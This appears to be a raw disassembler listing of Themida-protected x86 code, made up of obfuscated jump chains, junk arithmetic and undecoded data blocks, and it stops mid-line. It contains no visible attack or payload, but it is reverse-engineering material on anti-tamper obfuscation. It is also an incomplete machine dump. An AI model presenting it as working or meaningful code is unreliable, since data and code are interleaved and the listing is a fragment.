push 6447h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_552899 ; --------------------------------------------------------------------------- loc_54AF5C: ; CODE XREF: Themida_:0055566Ej push dword ptr [esp] mov edx, [esp] jmp loc_54AF2F ; --------------------------------------------------------------------------- db 66h dd 57240C8Bh, 52DEE9h db 0 ; --------------------------------------------------------------------------- loc_54AF71: ; CODE XREF: Themida_:005529E2j mov dl, 80h sub bl, dl pop edx push dx jmp loc_55246D ; --------------------------------------------------------------------------- loc_54AF7D: ; CODE XREF: Themida_:0055260Aj dec edx add edx, 5B44DD30h mov ecx, edx pop edx sub ecx, 1 not ecx xor ecx, 0B4C2DDAh shr ecx, 8 xor ecx, 0D236C0h push ecx xor dword ptr [esp], 113B522Eh pop edx xor edx, 113B522Eh jmp loc_550811 ; --------------------------------------------------------------------------- loc_54AFB2: ; CODE XREF: Themida_:0054A137j pop ecx jmp loc_551991 ; --------------------------------------------------------------------------- dd 8904EC83h, 2FE9242Ch, 5B000022h, 3ECAB951h, 0E9817EB4h dd 7EB43EC6h, 4A34E9h, 8BD48800h, 0C4832414h, 0E2885204h dd 0FFFC99E9h, 0B5C6B4FFh, 58E5008Eh, 0E9DC8850h, 63E2h dd 0B7468h, 0E641E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AFFE: ; CODE XREF: Themida_:0054D1ABj sub ebp, 5A486905h xor ebp, 2453515Fh jmp loc_555163 ; --------------------------------------------------------------------------- loc_54B00F: ; CODE XREF: Themida_:00548CB5j xor ecx, 61E1215Eh and eax, ecx pop ecx shr eax, 18h xor eax, ecx push 6927h jmp loc_54EA1A ; --------------------------------------------------------------------------- db 33h dd 895C2404h, 8AE92414h, 8700005Bh, 505C2434h, 0BF575854h dd 4, 7BE9F801h, 5800000Ah, 0ED81CD01h, 76384A9Bh, 50240C8Bh dd 4656E9h db 0 ; --------------------------------------------------------------------------- loc_54B059: ; CODE XREF: Themida_:00549DD3j jmp loc_548929 ; --------------------------------------------------------------------------- dw 0E7C1h dd 0BD555104h, 21AC5392h, 4818E9h, 4EC8300h, 0E9241C89h dd 5D8Ch ; --------------------------------------------------------------------------- loc_54B078: ; CODE XREF: Themida_:loc_548B06j inc eax jmp loc_54DB74 ; --------------------------------------------------------------------------- dw 6851h dd 34F112Bh, 459E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B08A: ; CODE XREF: Themida_:00550AD8j add esp, 4 jmp loc_54A823 ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 0EB830000h, 241C8702h, 2489665Ch, 66556624h dd 0E90002BDh, 3886h ; --------------------------------------------------------------------------- loc_54B0B4: ; CODE XREF: Themida_:0054EA1Ej push dword ptr [esp+4] pop edx pop dword ptr [esp] push edx push eax jmp loc_549F62 ; --------------------------------------------------------------------------- loc_54B0C3: ; CODE XREF: Themida_:0054E8F9j mov ebp, 2C0B5D4Ah xor [esp+4], ebp pop ebp mov eax, [esp] jmp loc_55586E ; --------------------------------------------------------------------------- db 48h, 5, 9Eh dd 1AC33F0h, 535158C2h, 2549DBBh, 0C3834B34h, 2CC5E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B0EE: ; CODE XREF: Themida_:0055227Bj pop ecx pop dword ptr [eax] jmp loc_548929 ; --------------------------------------------------------------------------- loc_54B0F6: ; CODE XREF: Themida_:0054DF6Cj add ebx, 48C072F1h add edx, 4B021D77h push edi jmp loc_555712 ; --------------------------------------------------------------------------- aUscc db 'UИ√√',0 align 2 dw 0CA01h dd 592434FFh, 3304C483h, 14312414h, 24143324h, 93B4E9h db 0 ; --------------------------------------------------------------------------- loc_54B125: ; CODE XREF: Themida_:0054895Cj neg eax dec eax add eax, 391A0880h jnz loc_54C0EB neg eax xor eax, 0C81F289Ch xor bl, 0 loc_54B13D: ; CODE XREF: Themida_:0054E615j pop esi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], cx jmp loc_548929 ; --------------------------------------------------------------------------- loc_54B151: ; CODE XREF: Themida_:0054A548j jnb loc_554082 and edi, 6FA6326Eh shl edi, 7 jmp loc_555989 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0D3010000h, 91C4E9h, 1C895C00h, 88E8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B17A: ; CODE XREF: Themida_:00555F3Cj pop ebx or eax, eax jnz loc_5520AC sub esp, 4 mov [esp], ebp mov ebp, 373219BBh push esi mov esi, 4182045Ah sub esi, 5BB6720Dh jmp loc_55200E ; --------------------------------------------------------------------------- loc_54B1A2: ; CODE XREF: Themida_:0054E536j not ch jmp loc_54F746 ; --------------------------------------------------------------------------- db 81h, 0F7h, 0D9h dd 0E939D3FFh, 65BFh, 405h, 0C3685100h, 8900001Fh, 2FBB241Ch dd 0E93CB562h, 16BBh ; --------------------------------------------------------------------------- loc_54B1CC: ; CODE XREF: Themida_:0055218Fj push ebx mov ebx, 5D4B2ED1h jmp loc_553842 ; --------------------------------------------------------------------------- db 0BFh dd 18DF468Ch, 575FF889h, 8150E9h db 0 ; --------------------------------------------------------------------------- loc_54B1E5: ; CODE XREF: Themida_:00555BD4j push esp pop eax add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_550A2C ; --------------------------------------------------------------------------- aZPsts db '[┤<$\PИБ≥',0 db 0 ; --------------------------------------------------------------------------- loc_54B20B: ; CODE XREF: Themida_:00550FEDj add esp, 4 shr ebp, 8 push esi mov esi, 6CFF75h xor ebp, esi jmp loc_548AFF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 771Ch, 0E9565F54h, 7941h ; --------------------------------------------------------------------------- loc_54B234: ; CODE XREF: Themida_:00553CD5j inc eax add eax, 8AFFFEB0h add ebx, eax jmp loc_555178 ; --------------------------------------------------------------------------- loc_54B241: ; CODE XREF: Themida_:0054F378j mov [esp], eax jmp loc_54C9B0 ; --------------------------------------------------------------------------- dd offset dword_457444+5324h align 2 dw 3C89h dd 2474FF24h, 243C8B04h, 8F04C483h, 0E95C2404h, 2851h ; --------------------------------------------------------------------------- loc_54B264: ; CODE XREF: Themida_:00550E10j sub ah, 73h push ebx mov bh, ah mov ch, bh jmp loc_54E1BD ; --------------------------------------------------------------------------- loc_54B271: ; CODE XREF: Themida_:005535E5j mov cl, bh jmp loc_54D736 ; --------------------------------------------------------------------------- dd 0BE243489h, 7462D45h, 49AE9h db 0 ; --------------------------------------------------------------------------- loc_54B285: ; CODE XREF: Themida_:00553D53j mov [esp], esp add dword ptr [esp], 4 pop eax push 6211h mov [esp], ebp mov ebp, 5AE17108h inc ebp jl loc_54B37F xor ebp, 0AE31BDAh jns loc_54FFC6 xor ebp, 32345B4Bh ja loc_5557E9 mov bh, dl loc_54B2BE: ; CODE XREF: Themida_:00551697j mov ebp, esp add ebp, 4 jmp loc_54EE8E ; --------------------------------------------------------------------------- loc_54B2CB: ; CODE XREF: Themida_:00550145j pop ecx jmp loc_5514AA ; --------------------------------------------------------------------------- loc_54B2D1: ; CODE XREF: Themida_:005513B5j push 564D3B1Bh pop eax jmp loc_54A89D ; --------------------------------------------------------------------------- dd 31240C33h, 99E9240Ch db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B2E7: ; CODE XREF: Themida_:00554874j jmp loc_55381A ; --------------------------------------------------------------------------- loc_54B2EC: ; CODE XREF: Themida_:0054EC67j push edi push 77D34C15h jmp loc_54A12A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 69BD5500h, 81726342h, 15CEE4EDh, 0D6BB5340h, 0F72E9B44h dd 0ABBD55DBh, 81541002h, 0F96E81E5h, 4EC835Ch, 0BA241489h dd 3D4E347Eh, 6351EA81h, 0E9422C0Bh, 2D98h ; --------------------------------------------------------------------------- loc_54B334: ; CODE XREF: Themida_:0055451Fj pop ecx jmp loc_5511F1 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 60D1EB81h, 0F3813A2Fh, 39737DF1h, 0E9DE9h dd 68E08900h, 57EDh, 54241489h, 0A953E95Ah, 0E9510000h dd 3210h, 98E9E089h, 0AD00004Eh, 0FFE0D5E9h, 8BC101FFh dd 7FE92404h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B37F: ; CODE XREF: Themida_:0054B29Ej xor ebp, 0AE31BDAh jns loc_54CD22 xor ebp, 32345B4Bh jmp loc_54A7FE ; --------------------------------------------------------------------------- loc_54B396: ; CODE XREF: Themida_:0055321Bj add edx, 23701B72h sub edx, 56166F54h jmp loc_550D33 ; --------------------------------------------------------------------------- db 81h dd 6304DAC7h, 0E9505B05h, 0A2Ah ; --------------------------------------------------------------------------- loc_54B3B4: ; CODE XREF: Themida_:0054F3F3j jns loc_54AAA8 add ecx, 4DFB16B6h add ecx, 8F8EC4DEh pop esp not esi not esi xor esi, 0C96A92F2h jmp loc_55346A ; --------------------------------------------------------------------------- loc_54B3D6: ; CODE XREF: Themida_:00555F9Fj push edx mov edx, 4E18A93Dh sub eax, edx pop edx add ecx, eax pop eax sub ecx, 4 xchg ecx, [esp] jmp loc_54EF79 ; --------------------------------------------------------------------------- loc_54B3F0: ; CODE XREF: Themida_:0054F7DCj xchg ecx, edi pop ecx sub edi, 6C8F9ED2h or ebp, edi mov edi, [esp] add esp, 4 inc ebp inc ebp push edx mov edx, 764F6871h not edx neg edx jmp loc_54CC11 ; --------------------------------------------------------------------------- loc_54B415: ; CODE XREF: Themida_:00550977j mov edi, 110D6E9Ah jmp loc_54FF9B ; --------------------------------------------------------------------------- db 53h dd 0FFF5C3E9h, 0C8B66FFh, 0E9545324h, 908h ; --------------------------------------------------------------------------- loc_54B430: ; CODE XREF: Themida_:00549C24j add esp, 4 push ecx mov ch, 0A3h not ch add ch, 64h jmp loc_54E52C ; --------------------------------------------------------------------------- db 5Ah dd 4C481h, 0EC830000h, 24048904h, 0C4FE47B4h, 0E4C0DCF6h dd 0E9526604h, 13A5h, 0C8BCD01h, 4C48324h, 2B850h, 0DFE90000h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B473: ; CODE XREF: Themida_:0054C5B2j mov [esp], eax mov eax, esp jmp loc_54D64D ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 5 dd 1FBDF181h, 0E9817BC6h, 0DCA658B4h, 159C889h, 2434FFC6h dd 4C48158h, 1000000h, 7F6E68C6h, 14890000h, 9C24E924h dd 665C0000h, 56240C8Bh, 0E9505E54h, 4CE2h, 0F01E37B8h dd 0D0F74018h, 4B3EE90Dh, 37BA521Fh, 4A63C11Eh, 0DAF7DAF7h dd 770DCA81h, 0F2816740h, 5BEB7F8Fh, 35E9D001h, 8100000Bh dd 0D44D9EC9h, 0D2E94922h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B4EF: ; CODE XREF: Themida_:00549AD0j mov ch, 12h sub al, 0CFh push ecx mov ch, 0FDh or ch, 52h inc ch neg ch jmp loc_555F08 ; --------------------------------------------------------------------------- dw 34FFh dd 0F4E95924h, 0B5FFFFE6h, 6CD80B6h, 2849F580h, 0C6FE59EEh dd 60CC6851h, 4890000h, 0E95EB424h, 855Ch ; --------------------------------------------------------------------------- loc_54B528: ; CODE XREF: Themida_:0054D7F4j add esp, 4 jmp loc_548929 ; --------------------------------------------------------------------------- loc_54B533: ; CODE XREF: Themida_:00550C3Fj push 5432h mov [esp], ebx sub esp, 4 jmp loc_549313 ; --------------------------------------------------------------------------- db 66h dd 81240489h, 4ECh, 24148900h, 25D7E9h db 0 ; --------------------------------------------------------------------------- loc_54B555: ; CODE XREF: Themida_:00553690j ; Themida_:00555565j shr eax, 0Bh xor ecx, eax jmp loc_551613 ; --------------------------------------------------------------------------- db 5Bh dd 4C481h, 0D0000000h, 0DBB75366h, 5B66F800h, 8124148Bh dd 4C4h, 35FF6800h, 14890000h, 7259E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B586: ; CODE XREF: Themida_:0054D960j mov dh, 96h push ecx mov cl, dh push eax mov ah, cl mov bh, ah pop eax pop ecx pop dx shl bh, 7 xor bh, 31h add bh, 0FFh not bh push edx jmp loc_54CB51 ; --------------------------------------------------------------------------- loc_54B5A5: ; CODE XREF: Themida_:00553567j push edx push eax mov ah, 0F1h jmp loc_54A94C ; --------------------------------------------------------------------------- loc_54B5AE: ; CODE XREF: Themida_:0054E2D2j pop esi pop dword ptr [esp] pop esp mov [esp], esi mov esi, 3393F25h xor esi, 5BAA245Ah push 55D1h mov [esp], edx mov edx, 6C9748CBh inc edx shl edx, 2 push ebx mov ebx, 7F5F53A9h or edx, ebx pop ebx push esi mov esi, 5F65A12h jmp loc_553DA2 ; --------------------------------------------------------------------------- loc_54B5E6: ; CODE XREF: Themida_:0054F602j pop eax add esp, 4 push ebp jmp loc_551B68 ; --------------------------------------------------------------------------- loc_54B5F0: ; CODE XREF: Themida_:0054C10Cj mov ecx, [esp] add esp, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_551A89 ; --------------------------------------------------------------------------- loc_54B605: ; CODE XREF: Themida_:0054DF13j sub edi, 574D70EAh jmp loc_549308 ; --------------------------------------------------------------------------- dd 4C481h, 0D8280000h, 570E9h db 0 ; --------------------------------------------------------------------------- loc_54B61D: ; CODE XREF: Themida_:00551726j dec ecx jge loc_54AA0B push ebp sub esp, 4 mov [esp], esi jmp loc_554ABE ; --------------------------------------------------------------------------- loc_54B633: ; CODE XREF: Themida_:0054EF51j mov [esp], edx jmp loc_54DC54 ; --------------------------------------------------------------------------- loc_54B63B: ; CODE XREF: Themida_:0054A483j sub eax, 48CD0E4Ah add eax, ebp jmp loc_555EC2 ; --------------------------------------------------------------------------- db 80h dd 0E528E9C5h, 58E9ED80h, 284CED80h, 4CC580F5h, 0E9A1C580h dd 0A958h, 24348B66h, 2C481h, 8F660000h, 87662404h, 0E95566EEh dd 7DBCh, 5C240C87h, 8448E9h, 0E9FE8900h, 0A050h ; --------------------------------------------------------------------------- loc_54B688: ; CODE XREF: Themida_:005557B9j add edi, 4 sub edi, 4 jmp loc_549F50 ; --------------------------------------------------------------------------- a1sBsRvtsi db '1И]│АсRvtИ╘',27h,0 align 4 loc_54B6A4: ; CODE XREF: Themida_:loc_5491F0j dec eax jmp loc_54C690 ; --------------------------------------------------------------------------- dw 0C586h dd 0C586D0F6h, 44B5E9h db 0 ; --------------------------------------------------------------------------- loc_54B6B5: ; CODE XREF: Themida_:00554BB1j push esi jmp loc_55287B ; --------------------------------------------------------------------------- loc_54B6BB: ; CODE XREF: Themida_:005490A5j ; Themida_:00551E2Ej mov [eax], ebp pop ebp push dword ptr [esp] mov eax, [esp] add esp, 4 push esi jmp loc_550758 ; --------------------------------------------------------------------------- db 29h, 4Ch, 24h dd 240C8B04h, 7ED3E9h, 4C78100h, 68000000h, 5EC6h, 0E9243489h dd 5BBAh, 612DE0B8h, 58C20907h, 8142D2F7h, 711889E2h, 0BEEA8105h dd 2988FD94h, 2798E9D0h, 0D680000h, 89000028h, 4812424h dd 424h, 0F6E95E00h, 68000056h, 0 dd 0D57E9h db 0 ; --------------------------------------------------------------------------- loc_54B729: ; CODE XREF: Themida_:00548FA0j add edx, 4 xchg edx, [esp] pop esp add esp, 4 xor ebx, eax movzx ax, byte ptr [eax] jmp loc_54DEEF ; --------------------------------------------------------------------------- loc_54B741: ; CODE XREF: Themida_:0054CC88j push 48C3h mov [esp], esp jmp loc_55153A ; --------------------------------------------------------------------------- loc_54B74E: ; CODE XREF: Themida_:0054A8AEj ; Themida_:0054ABF1j and ecx, esi mov esi, [esp] push 27CCh mov [esp], edi push 0FC2h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edi push edx mov edx, 32CA0B7Dh or edx, 587F5E89h or edx, 484932E2h jmp loc_54BD9B ; --------------------------------------------------------------------------- loc_54B783: ; CODE XREF: Themida_:0054DB42j jb loc_54C851 sub ebp, 6D12BC64h jmp loc_54F251 ; --------------------------------------------------------------------------- dd 5107E8C1h, 0FFDBA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B79D: ; CODE XREF: Themida_:00552255j or ebp, 5E8345Eh jo loc_550E6D push 6C4Fh mov [esp], ecx mov ecx, esp add ecx, 4 push ebx jmp loc_5548ED ; --------------------------------------------------------------------------- loc_54B7BF: ; CODE XREF: Themida_:0054DC41j sub edi, 4 xchg edi, [esp] jmp loc_5526E5 ; --------------------------------------------------------------------------- loc_54B7CD: ; CODE XREF: Themida_:0054FC57j add esi, eax add esi, 113261E2h pop eax push edx jmp loc_54DD95 ; --------------------------------------------------------------------------- loc_54B7DC: ; CODE XREF: Themida_:0054AB56j push 669E55DCh jmp loc_5543E9 ; --------------------------------------------------------------------------- loc_54B7E6: ; CODE XREF: Themida_:00554E20j xor esi, eax pop eax jmp loc_54FF15 ; --------------------------------------------------------------------------- dw 6664h dd 6802B60Fh, 741Ch, 89240489h, 4BB53E0h, 51000000h, 1D36FFB9h dd 0A1C18168h, 10270F2h, 0FEE959C8h, 2100002Fh, 7954E9F3h dd 0EC830000h, 242C8904h, 0FF50B3BDh, 438DE96Ch, 0F6E90000h dd 5EFFFFD0h, 5FA3E953h, 0C5810000h, 22DE5E42h, 34FFEB89h dd 705BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B84A: ; CODE XREF: Themida_:0055495Dj jmp loc_549F4B ; --------------------------------------------------------------------------- db 89h dd 0CE6853E7h, 89000013h, 4812424h, 424h, 241C8B00h, 8104C483h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0BE562414h, 4 dd 15EF289h, 24148BD7h, 8304C483h, 3C3302C7h, 3AFDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B896: ; CODE XREF: Themida_:0054CBFEj mov eax, 71E03AB4h jmp loc_55392E ; --------------------------------------------------------------------------- dd 6624248Bh, 5624048Bh, 0C681E689h, 4, 4EE81h, 34870000h dd 34895C24h, 0E9E68924h, 17C1h ; --------------------------------------------------------------------------- loc_54B8C4: ; CODE XREF: Themida_:0054F3FDj ; Themida_:00552459j pop esi not eax push edx mov edx, 1D8A79E6h sub eax, edx pop edx and eax, 59A468C8h neg eax shl eax, 6 xor eax, 0DEEFEE04h add esi, eax mov eax, [esp] jmp loc_551311 ; --------------------------------------------------------------------------- db 0E9h, 1Ah, 0D6h dd 0E829FFFFh, 3F0AE9h db 0 ; --------------------------------------------------------------------------- loc_54B8F5: ; CODE XREF: Themida_:00554EFEj pop esi push ebx mov ebx, 503D6182h add ebx, 0FFFFFFFFh add ebx, 0AFC29E83h sub esi, 72300127h add esi, ebx add esi, 72300127h mov ebx, [esp] add esp, 4 push edx mov edx, 4 add esi, edx jmp loc_551DCC ; --------------------------------------------------------------------------- db 8Fh, 4, 24h aLSG db '▀$$И©┐',0 align 4 loc_54B934: ; CODE XREF: Themida_:0054E648j push eax mov eax, 4 add esi, eax pop eax sub esi, 4 jmp loc_552799 ; --------------------------------------------------------------------------- dd 51D830ACh, 52B4B450h, 0C2807DB2h, 65EA8035h, 0FE16CA80h dd 8CC280C2h, 44E9D400h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B967: ; CODE XREF: Themida_:0054BFDDj sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 20000h and eax, edx mov edx, [esp] push ecx mov ecx, esp push ebp jmp loc_548E5C ; --------------------------------------------------------------------------- loc_54B987: ; CODE XREF: Themida_:005509D9j sub esp, 4 mov [esp], ecx jmp loc_554DA8 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0C7h dd 537B4314h, 5B0C55BBh, 0E4C3E92Bh, 8B66FFFFh, 23E92404h dd 68000054h, 72B8h, 81242489h, 42404h, 815E0000h, 4C6h dd 46D9E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B9CA: ; CODE XREF: Themida_:0055553Cj sub eax, esi sub eax, 32B31B7h pop esi jmp loc_553D6E ; --------------------------------------------------------------------------- loc_54B9D7: ; CODE XREF: Themida_:0055128Cj add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_5535B7 ; --------------------------------------------------------------------------- loc_54B9E7: ; CODE XREF: Themida_:005525C5j mov [esp], esp jmp loc_5540CD ; --------------------------------------------------------------------------- loc_54B9EF: ; CODE XREF: Themida_:00549B5Ej add edi, 4 add edi, 2 jmp loc_551B53 ; --------------------------------------------------------------------------- dd 4EC815Fh, 89000000h, 2BB241Ch, 81000000h, 7B5F2AC1h dd 16DCE952h, 0E9D10000h, 8F9E981h, 814168FBh, 45AF1CF1h dd 59CA89A1h, 723EB81h, 0D301535Ah, 9605E9h db 0 ; --------------------------------------------------------------------------- loc_54BA39: ; CODE XREF: Themida_:0054A03Cj add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp dec byte ptr [esp] pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_54BA4F: ; CODE XREF: Themida_:00549A47j add esi, 1441D5Ah jmp loc_54A628 ; --------------------------------------------------------------------------- dw 401h dd 90B85024h, 52540A45h, 0FFEDACE9h, 0BFFFh, 0DF290000h dd 0C15FFB87h, 0C38102EBh, 6F7B9CDh, 0FFDF94E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BA81: ; CODE XREF: Themida_:00548AC2j mov [esp], ecx mov ecx, 13220B07h push esi mov esi, 4B996B88h add [esp+8], esi pop esi sub [esp+4], ecx push edx mov edx, 4B996B88h add dword ptr [esp+8], 2427329Ah sub [esp+8], edx jmp loc_54D3B3 ; --------------------------------------------------------------------------- loc_54BAAF: ; CODE XREF: Themida_:00548ADEj mov ecx, esi pop esi jmp loc_54F4EC ; --------------------------------------------------------------------------- db 81h dd 3261E2EEh, 0FD0BE911h, 835FFFFFh, 48704C0h, 8C685C24h dd 89000040h, 0C589242Ch, 45C468h, 4500E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BADE: ; CODE XREF: Themida_:0055131Cj mov [esp], edx jmp loc_54ACDC ; --------------------------------------------------------------------------- loc_54BAE6: ; CODE XREF: Themida_:00550AB2j mov edi, esp push esi mov esi, 4 add edi, 38E33182h add edi, esi push ebx mov ebx, 38E33182h jmp loc_54F418 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BD242C89h, 0D2C480DEh, 815DE901h, 3F0578C6h, 81CE013Eh dd 3F0578EEh, 3487593Eh, 24248B24h, 0E9028864h, 0FFFFCDFDh dd 0AA589B35h, 0F7E8D166h, 3795E9D8h, 52AC0000h, 94EBE9h dd 62BC0D00h, 0F402902h, 7A8880h, 7D30500h, 0C589DFC8h dd 0D0C38158h, 0E9696564h, 25ABh, 8304C683h, 348904ECh dd 2474FF24h, 48F5E04h, 0BBE95C24h, 66FFFFE6h, 0E9240C8Bh dd 0FFFFCF98h, 5DA92D58h, 0F8015B03h, 25D4E9h, 4EC8100h dd 89000000h, 0DAB1240Ch, 0FFEB3AE9h, 4EE95AFFh db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BBA3: ; CODE XREF: Themida_:005518D9j pop esi jmp loc_54D432 ; --------------------------------------------------------------------------- loc_54BBA9: ; CODE XREF: Themida_:0055571Fj mov eax, 2C083BF8h add eax, 1DA7C851h add edx, eax jmp loc_551651 ; --------------------------------------------------------------------------- aH@ db '\h@+',0 align 10h dd 89243489h, 4C681E6h, 81000000h, 4C6h, 24348700h, 4C4815Ch dd 0FF000000h, 48B2434h, 5F545724h, 0FFCF61E9h, 4C481FFh dd 33000000h, 4312404h, 24043324h, 0FF24248Bh, 48B2434h dd 4C48124h, 68000000h, 721Bh, 54241489h, 0D57FE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BC16: ; CODE XREF: Themida_:00551929j add eax, 2F3C4C96h add eax, ebp push edi mov edi, 2F3C4C96h sub eax, edi pop edi jmp loc_54A6C3 ; --------------------------------------------------------------------------- loc_54BC2B: ; CODE XREF: Themida_:0054BF68j shr ebp, 1 jmp loc_548E0C ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 553C68h, 24248900h, 4240483h, 0E924048Fh, 95EEh ; --------------------------------------------------------------------------- loc_54BC4C: ; CODE XREF: Themida_:0054D044j push ebp jmp loc_54D219 ; --------------------------------------------------------------------------- loc_54BC52: ; CODE XREF: Themida_:00548A1Dj movzx cx, al push cx pushf jmp loc_548929 ; --------------------------------------------------------------------------- dw 34FFh dd 54575824h, 7BF4E9h, 3660BA00h, 0EAC15164h, 19C28108h dd 0E90FD540h, 293Bh, 0A6E9028Fh, 0BEFFFFCCh, 407A01A2h dd 0EDEE814Eh, 0E96F042Ah, 53FCh ; --------------------------------------------------------------------------- loc_54BC94: ; CODE XREF: Themida_:005509CAj jmp loc_54D09F ; --------------------------------------------------------------------------- loc_54BC99: ; CODE XREF: Themida_:0054F6DCj add esp, 4 jmp loc_549143 ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 6624248Bh, 9C240429h, 0FFCC78E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BCB1: ; CODE XREF: Themida_:0054BFBAj mov di, si jmp loc_54A5FA ; --------------------------------------------------------------------------- db 54h, 8Bh, 0Ch dd 4C48124h, 57000000h, 50DAE9h db 0 ; --------------------------------------------------------------------------- loc_54BCC9: ; CODE XREF: Themida_:005509D0j xor ebp, 33DA0D97h xor ebp, 0C24D5267h add edi, ebp jmp loc_5515D6 ; --------------------------------------------------------------------------- loc_54BCDC: ; CODE XREF: Themida_:00550753j and eax, ebp mov ebp, [esp] jmp loc_552442 ; --------------------------------------------------------------------------- dw 0CE81h dd 3B8E5554h, 8107E6C1h, 590870C6h, 5EF12976h, 2D59C829h dd 6BC569FBh, 0FB05D801h, 56BC569h, 3D66214Dh, 0C674942Dh dd 2F685164h, 8900002Bh, 5868242Ch, 5D1DC24Ah, 3D52B850h dd 0AFE9670Ah db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BD2B: ; CODE XREF: Themida_:0054D0ADj jmp loc_54FA5F ; --------------------------------------------------------------------------- loc_54BD30: ; CODE XREF: Themida_:00554693j pop dword ptr [esp] jmp loc_549D15 ; --------------------------------------------------------------------------- dd 83241C8Bh, 515204C4h, 0A24B95B9h, 98E95770h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BD4B: ; CODE XREF: Themida_:0054A329j ; Themida_:0054A3DDj add eax, 2986199h jmp loc_54FDD7 ; --------------------------------------------------------------------------- loc_54BD55: ; CODE XREF: Themida_:0054F94Fj add esp, 4 jmp loc_54C2B0 ; --------------------------------------------------------------------------- loc_54BD60: ; CODE XREF: Themida_:0054BF12j xor esi, edx pop edx shl esi, 3 js loc_54E742 add esi, 0CC5DE7CEh mov edx, esi pop esi and edi, edx jmp loc_54DD0A ; --------------------------------------------------------------------------- loc_54BD7C: ; CODE XREF: Themida_:0054E8D3j inc cl sub cl, 0FFh jmp loc_54A9CF ; --------------------------------------------------------------------------- loc_54BD86: ; CODE XREF: Themida_:00555511j add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_54EB0D ; --------------------------------------------------------------------------- loc_54BD9B: ; CODE XREF: Themida_:0054B77Ej dec edx sub edx, 7AFF7FFAh add edi, edx pop edx jmp loc_553664 ; --------------------------------------------------------------------------- loc_54BDAA: ; CODE XREF: Themida_:00554099j pop edi add esi, eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5500D6 ; --------------------------------------------------------------------------- dw 0F766h dd 0E99C241Ch, 0FFFFCB61h ; --------------------------------------------------------------------------- loc_54BDC8: ; CODE XREF: Themida_:0054D59Cj add eax, edi pop edi push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] pop esp push ecx jmp loc_551B35 ; --------------------------------------------------------------------------- dw 28B8h dd 296AC868h, 50558C7h, 1126C09h, 9052DF8h, 8BE9126Ch dd 0B2000040h, 66D5886Eh, 4FE5805Ah, 1B35366h, 5B66DD00h dd 0F6FCCD80h, 324668DDh, 14890000h, 8035B624h, 0F68070F6h dd 0DFEE8046h, 0EE80D6F6h, 0A1B450ADh, 0FFF81AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BE2D: ; CODE XREF: Themida_:0055331Dj xor eax, 0D87AD26Fh mov edi, eax pop eax jmp loc_54916F ; --------------------------------------------------------------------------- loc_54BE3A: ; CODE XREF: Themida_:00555A10j add edi, edx mov edx, [esp] add esp, 4 mov esi, edi jmp loc_54F94C ; --------------------------------------------------------------------------- loc_54BE49: ; CODE XREF: Themida_:00554165j pop ebx jmp loc_54E760 ; --------------------------------------------------------------------------- loc_54BE4F: ; CODE XREF: Themida_:00554267j push ebx mov ebx, 5D136239h dec ebx jns loc_54D874 inc ebx add ebx, 9B144F6h mov cl, 60h pop ecx loc_54BE66: ; CODE XREF: Themida_:00548AFAj push ecx mov ecx, 108C717Ah add edx, ecx pop ecx dec edx push ebx jmp loc_551C95 ; --------------------------------------------------------------------------- dw 0CB81h dd 312D6339h, 99D8810Fh, 0EB810000h, 4625534Dh, 0BFE9D831h dd 0FF000096h, 669D1C77h, 1CD36659h, 8AE99C24h, 83FFFFCAh dd 0BF5704C4h, 474B5532h, 20E9DFF7h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BEAF: ; CODE XREF: Themida_:0055097Fj pop esp shl dword ptr [esp], cl pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_54BEB9: ; CODE XREF: Themida_:00555EF6j mov esp, [esp] add esp, 4 shr ecx, 0 or eax, eax jz loc_555845 push 50Ah mov [esp], esi mov esi, esp add esi, 4 jmp loc_55003B ; --------------------------------------------------------------------------- db 0F7h dd 0FAF181D1h, 566EA567h, 667A86BEh, 15CE813Eh, 0E94B2C47h dd 